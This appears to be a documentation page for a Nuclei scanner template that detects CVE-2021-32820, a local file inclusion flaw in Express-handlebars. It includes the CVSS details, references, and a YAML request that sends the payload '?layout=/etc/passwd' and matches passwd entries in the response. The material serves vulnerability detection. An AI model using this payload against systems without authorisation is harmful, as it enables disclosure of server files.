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Express-handlebars - Local File Inclusion

ID: CVE-2021-32820

Severity: high

Author: dhiyaneshDk

Tags: cve2021,cve,expressjs,lfi,xxe,express_handlebars_project,node.js

Description

Section titled “Description”

Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.

YAML Source

Section titled “YAML Source”
id: CVE-2021-32820


info:
  name: Express-handlebars - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Update to the latest version of Express-handlebars to mitigate the vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
    - https://github.com/express-handlebars/express-handlebars/pull/163
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32820
    - https://github.com/express-handlebars/express-handlebars/blob/78c47a235c4ad7bc2674bddd8ec2721567ed8c72/README.md#danger-
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-32820
    cwe-id: CWE-94,CWE-200
    epss-score: 0.01756
    epss-percentile: 0.8795
    cpe: cpe:2.3:a:express_handlebars_project:express_handlebars:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: express_handlebars_project
    product: express_handlebars
    framework: node.js
  tags: cve2021,cve,expressjs,lfi,xxe,express_handlebars_project,node.js


http:
  - method: GET
    path:
      - "{{BaseURL}}/?layout=/etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "daemon:[x*]:0:0:"
          - "operator:[x*]:0:0:"
        condition: or


      - type: status
        status:
          - 200
# digest: 4a0a004730450220135fe7bd7881eece85a49acf76607344558d6368e87a401cff1158b9dc5b1144022100aebcfdfbab6c1878de24c7dda6fe79b3efced5486e093417848e5218226575e8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-32820.yaml"

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